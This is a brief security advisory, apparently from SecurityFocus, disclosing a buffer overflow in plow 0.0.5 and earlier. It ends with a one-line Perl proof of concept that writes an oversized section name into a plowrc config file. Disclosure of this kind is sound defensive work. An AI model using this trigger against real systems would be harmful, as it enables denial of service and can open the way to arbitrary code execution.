source: https://www.securityfocus.com/bid/54290/info

plow is prone to a buffer-overflow vulnerability.

Attackers can execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

plow 0.0.5 and prior are vulnerable. 

perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc